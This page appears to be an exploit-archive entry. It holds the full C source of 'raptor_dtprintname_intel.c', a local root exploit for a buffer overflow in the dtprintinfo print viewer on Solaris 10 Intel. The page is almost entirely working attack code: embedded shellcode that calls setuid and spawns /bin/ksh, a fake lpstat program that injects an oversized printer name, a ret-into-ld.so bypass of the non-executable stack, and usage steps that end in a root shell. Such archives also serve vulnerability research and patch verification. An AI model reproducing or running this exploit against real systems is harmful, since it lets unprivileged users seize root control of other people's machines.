Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation

2019-05-20 21:05:11

/*
* raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel
* Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>
*
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
* local root. Many thanks to Dave Aitel for discovering this vulnerability
* and for his interesting research activities on Solaris/SPARC.
*
* "None of my dtprintinfo work is public, other than that 0day pack being
* leaked to all hell and back. It should all basically still work. Let's
* keep it that way, cool? :>" -- Dave Aitel
*
* This exploit uses the ret-into-ld.so technique to bypass the non-exec
* stack protection. If experiencing troubles with null-bytes inside the
* ld.so.1 memory space, try returning to sprintf() instead of strcpy().
*
* Usage:
* $ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintname_intel 192.168.1.1:0
* [...]
* # id
* uid=0(root) gid=1(other)
* #
*
* Tested on:
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
* [previous Solaris versions are also vulnerable]
*/

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define INFO1 "raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel"
#define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>"

#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
#define BUFSIZE 301 // size of the printer name

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char *env[256];
int env_pos = 0, env_len = 0;

/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);

/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ksh_var[16];
char platform[256], release[256], display[256];
int i, offset, sc_addr, ksh_pos;
int plat_len, prog_len;

char *arg[2] = {"foo", NULL};
int sb = ((int)argv[0] | 0xfff); /* stack base */
int ret = search_ldso("strcpy"); /* or sprintf */
int rwx_mem = search_rwx_mem(); /* rwx memory */

/* fake lpstat code */
if (!strcmp(argv[0], "lpstat")) {

/* check command line */
if (argc != 2)
exit(1);

/* get the shellcode address from the environment */
sc_addr = (int)strtoul(getenv("KSH"), (char **)NULL, 0);

/* prepare the evil printer name */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;

/* fill with ld.so.1 address, saved eip, and arguments */
for (i = 0; i < BUFSIZE; i += 4) {
set_val(buf, i, ret); /* strcpy */
set_val(buf, i += 4, rwx_mem); /* saved eip */
set_val(buf, i += 4, rwx_mem); /* 1st argument */
set_val(buf, i += 4, sc_addr); /* 2nd argument */
}

/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for %s: /dev/null\n", buf);
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: %s\n", buf);
}
exit(0);
}

/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);

/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);

/* fill the envp, keeping padding */
add_env(sc);
ksh_pos = env_pos;
add_env("KSH=0x42424242");
add_env(display);
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);

/* calculate the offset to the shellcode */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = 5 + env_len + plat_len + prog_len;

/* calculate the shellcode address */
sc_addr = sb - offset;

/* overwrite the KSH env var with the right address */
sprintf(ksh_var, "KSH=0x%x", sc_addr);
env[ksh_pos] = ksh_var;

/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");

/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}

/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;

/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}

/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;

/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}

return(env_len);
}

/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}

/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;

/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}

/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}

/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}

/* close the executable object file */
dlclose(handle);

check_zero(addr - 4, sym);
return(addr);
}

/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;

/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}

/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);

/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;

return(addr_old);
}

/*
* set_val(): copy a dword inside a buffer (little endian)
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0x000000ff);
buf[pos + 1] = (val & 0x0000ff00) >> 8;
buf[pos + 2] = (val & 0x00ff0000) >> 16;
buf[pos + 3] = (val & 0xff000000) >> 24;
}

Fixes

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